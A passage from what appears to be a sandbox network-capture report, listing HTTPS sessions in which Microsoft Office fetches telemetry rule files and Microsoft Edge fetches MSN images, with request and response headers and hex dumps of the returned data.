T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:21 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:22 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 689eda34-b01e-0098-359c-29cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193522Z-r197bdfb6b4qbfppwgs4nqza8000000005qg000000000vxc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193522Z-15b8d89586f5s5nz3ffrgxn5ac00000007ng00000000dm06 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:35:22 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:35:22 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:35:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: b03cb643-601e-0050-56bd-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193522Z-17c5cb586f6mkpfkkpsf1dpups00000002cg000000001aw0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:35:22 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49920	23.47.50.133	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBaE.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:22 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 24 Oct 2024 21:47:10 GMT X-Datacenter: westus X-ActivityId: 44484eb0-5db6-48a7-8988-fcf9d0fd4bc0 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBaE X-Source-Length: 57629 Content-Length: 57629 Cache-Control: public, max-age=396776 Expires: Sun, 03 Nov 2024 09:48:18 GMT Date: Tue, 29 Oct 2024 19:35:22 GMT Connection: close
2024-10-29 19:35:22 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-10-29 19:35:22 UTC	16384	IN	Data Raw: 27 29 59 4d 47 48 cd 8c f2 8f 29 a8 04 63 94 aa 34 19 2d 59 e5 1d 1a a4 51 2d 18 50 f2 9b 50 eb 80 b1 86 51 65 3a 29 0e 91 ab 66 9c f9 50 f2 9b d0 b2 8b 65 96 50 ca 69 94 74 56 59 0d 1a d0 b2 a0 24 74 3a a1 95 9b 2a 0a 2a 87 40 4d 0c b1 d2 08 81 d1 74 3a 09 6c e8 74 69 43 a0 96 ce 82 8d 68 28 23 2a 1d 33 51 e0 0b 65 43 a3 4a 45 50 4b 65 94 32 9b 50 50 4b 65 94 28 d6 87 40 65 41 46 b4 14 82 5b 2a 1d 1a 50 50 2d 03 2e 82 82 20 65 50 e8 09 15 71 2e 82 8a 26 8a a2 a8 64 44 57 12 b0 18 14 01 e4 14 19 57 20 87 95 70 0c 8b 72 3c 1f 8c f7 0d 5e fb dd 94 34 65 28 c9 4a da b6 94 97 27 5e 67 c2 ff 00 ed ff 00 8a 29 56 79 45 57 e2 4e 6f fe 9c 4b 18 f7 cd 26 bd d0 fd 67 c3 e0 2c 9c 19 f3 7f 03 ee 1d f3 ba 43 51 77 9e f3 a9 a8 9e 5c 91 ff 00 31 e5 db 6f e6 4b 6e 18 23 Data Ascii: ')YMGH)c4-YQ-PPQe:)fPePitVY$t:*@Mt:ltiCh(#3QeCJEPKe2PPKe(@eAF[*PP-. ePq.&dDWW pr<^4e(J'^g)VyEWNoK&g,CQw\1oKn#
2024-10-29 19:35:22 UTC	2996	IN	Data Raw: ed 25 bc b5 f0 98 ed 7a 53 d2 9e f9 c3 5e 3a 91 7d 53 6a 5d a7 26 af c2 15 e3 de 65 1e 32 d2 9b 58 ff 00 f6 e5 23 d3 fd 56 a4 24 94 fb bf 87 8a f9 65 9f 49 f5 3a 94 1f 9a 3a 5f 7b 8d a4 d6 ba be 59 66 97 94 bd c5 b9 85 b9 7c bf f2 9d 48 ab d2 ef 3d db 53 6a ac 74 e7 d5 e2 a5 eb 1c 7e 11 df 1a bc 9d 19 64 a5 ff 00 4c f6 75 1f 4b fa 8e eb a8 f2 be f1 06 f7 c3 51 34 fa d5 57 45 9b 78 31 92 4e 14 f7 5c 64 e9 79 48 b9 c8 f9 39 7c 1f be 57 cd a1 38 e1 b5 4e 3d aa 4e 2c c2 5f 0a ef 58 e5 c7 2e 2e 29 49 cd 75 28 e3 d3 1b 3e c2 5a 3a a9 52 d5 d7 ac 55 49 ad 55 d3 f3 de 3c 8e 5d 4e eb de 24 97 f9 b1 96 0b f1 c2 49 a7 cd 3d 39 41 ae 8c 50 ce 77 5f 27 e5 76 06 7d 81 7c 4f bd f3 b4 19 95 85 81 a8 cc ac 76 06 83 32 b6 17 c4 9a 8d 40 ca c7 98 8d 35 f2 0b 31 b1 e6 e0 29 Data Ascii: %zS^:}Sj]&e2X#V$eI::_{Yf\|H=Sjt~dLuKQ4WEx1N\dyH9\|W8N=N,_X..)Iu(>Z:RUIU<]N$I=9APw_'v}\|Ov2@51)
2024-10-29 19:35:22 UTC	16384	IN	Data Raw: 30 d6 4d ed f0 2b 37 41 cd 9e 1c 58 f3 c7 93 33 5d 1a be ae 9b e2 3b e2 8c 2f 87 98 ad f0 25 35 12 ea 4e c7 d5 da 73 60 5a ae 4c cb a4 36 5d 0b cc bc 7d 15 e6 61 4f 90 2c 0c cc 35 0e 8b e0 83 37 41 95 c7 88 b3 11 a7 4d f4 15 6b d2 f5 9c 79 ba 4d 13 5c 7c 89 50 b6 e8 ce ba 43 3f 57 91 9d 8a f8 31 43 a5 49 f0 2b 33 e0 73 76 06 63 2a eb cd c1 14 9a 7b 91 c9 98 9f 12 b7 12 96 dd fe 44 b9 61 b0 e4 5a a8 5e 32 dc 31 94 b8 7e 6b f1 df 88 77 a8 f7 fd 5d 29 4a 4a 3a 74 a3 17 8c 7f 0e da df 77 b6 cf 95 7a fa 8f 7f 46 ef 51 f6 1f c5 1a 5d de f4 f5 15 ad 69 5d f2 71 e3 c6 f6 1f 09 19 49 3b 47 d1 1e cf 33 f2 69 ce 75 b7 63 ef 1a 91 54 9b e7 b7 69 1f a8 94 9e 2d f5 b3 29 73 66 78 3d b8 1a 72 6b 2d 47 2d e2 f1 27 ce bb 08 49 6e 0c 78 06 54 e6 df 36 2b bd 8c 91 f6 80 f1 Data Ascii: 0M+7AX3];/%5Ns`ZL6]}aO,57AMkyM\\|PC?W1CI+3svc*{DaZ^21~kw])JJ:twzFQ]i]qI;G3iucTi-)sfx=rk-G-'InxT6+
2024-10-29 19:35:22 UTC	6000	IN	Data Raw: 4b a4 d1 38 7f 57 42 ae d3 9b e5 e0 8a f9 96 c6 9f 40 2d be 75 b9 45 74 ed f3 1a 97 27 25 c1 6c 39 f3 3d e9 be b2 d2 bc 63 78 11 ab 6d e2 fd 9e d2 fc 47 e8 2f ae b3 0e 99 27 cf 02 a3 28 6c 4e b8 3d 9d a6 5a 89 9d db f8 f2 e4 bc 87 e2 3a fc 2b d6 65 9b 76 1d 5b 0d 54 56 da 71 ea f6 19 d3 66 ae 77 96 6d af 46 ba da 34 52 7b a4 83 2d f2 64 34 96 ef 6a 0b ac 35 cd 2d fe 63 8b bd fe f3 25 26 b6 7c cb 93 f9 58 fc 58 ef 8d 74 92 96 e3 76 f4 f7 7a ca cb 33 9b c4 8f a4 d7 42 d8 5e 77 58 36 fb 2c 94 d4 4c 4b 6a ad b6 bc d1 6b 8c af b4 c1 6a ca 5b 53 f3 7e f1 a7 66 5a 37 b5 e1 bb 67 3e 22 a5 96 ee b8 2b f6 0b d5 d6 35 24 f7 f6 01 35 71 aa 5d 7b 7b 0d 71 df 5f 5c 99 2b 1d ff 00 7f 60 3b 58 5a fa e2 80 b7 5c 9d f6 19 38 c6 f0 b4 f9 ad 80 e4 d2 c7 67 4e cf 30 bb e4 ca Data Ascii: K8WB@-uEt'%l9=cxmG/'(lN=Z:+ev[TVqfwmF4R{-d4j5-c%&\|XXtvz3B^wX6,LKjkj[S~fZ7g>"+5$5q]{{q_\+`;XZ\8gN0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.5	49923	23.47.50.133	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:22 UTC	516	IN	HTTP/1.1 200 OK Last-Modified: Mon, 12 Aug 2024 01:13:32 GMT Access-Control-Allow-Origin: * X-Datacenter: eastus X-ActivityId: be192b45-753e-4017-8c28-8930da91b54e Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL X-Source-Length: 1658 Content-Length: 1658 Cache-Control: public, max-age=251529 Expires: Fri, 01 Nov 2024 17:27:31 GMT Date: Tue, 29 Oct 2024 19:35:22 GMT Connection: close
2024-10-29 19:35:22 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.5	49924	23.47.50.133	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:22 UTC	515	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Thu, 24 Oct 2024 13:20:31 GMT X-Datacenter: eastus X-ActivityId: 16adcbce-12b9-406c-af23-858a83da7282 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=366340 Expires: Sun, 03 Nov 2024 01:21:02 GMT Date: Tue, 29 Oct 2024 19:35:22 GMT Connection: close
2024-10-29 19:35:22 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.5	49925	23.47.50.133	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:22 UTC	517	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Thu, 22 Aug 2024 19:49:06 GMT X-Source-Length: 5699 X-Datacenter: northeu X-ActivityId: 568c32c2-4fc6-43fd-b83e-f4c0fb930684 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=392251 Expires: Sun, 03 Nov 2024 08:32:53 GMT Date: Tue, 29 Oct 2024 19:35:22 GMT Connection: close
2024-10-29 19:35:22 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.5	49922	23.47.50.133	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:35:22 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 19:35:22 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Fri, 20 Sep 2024 10:06:10 GMT X-Datacenter: eastus X-ActivityId: 61ab6469-9341-48ba-9f88-168ba59245cb Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=138709 Expires: Thu, 31 Oct 2024 10:07:11 GMT Date: Tue, 29 Oct 2024 19:35:22 GMT Connection: close
2024-10-29 19:35:22 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49921	23.47.50.133	443	7240	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
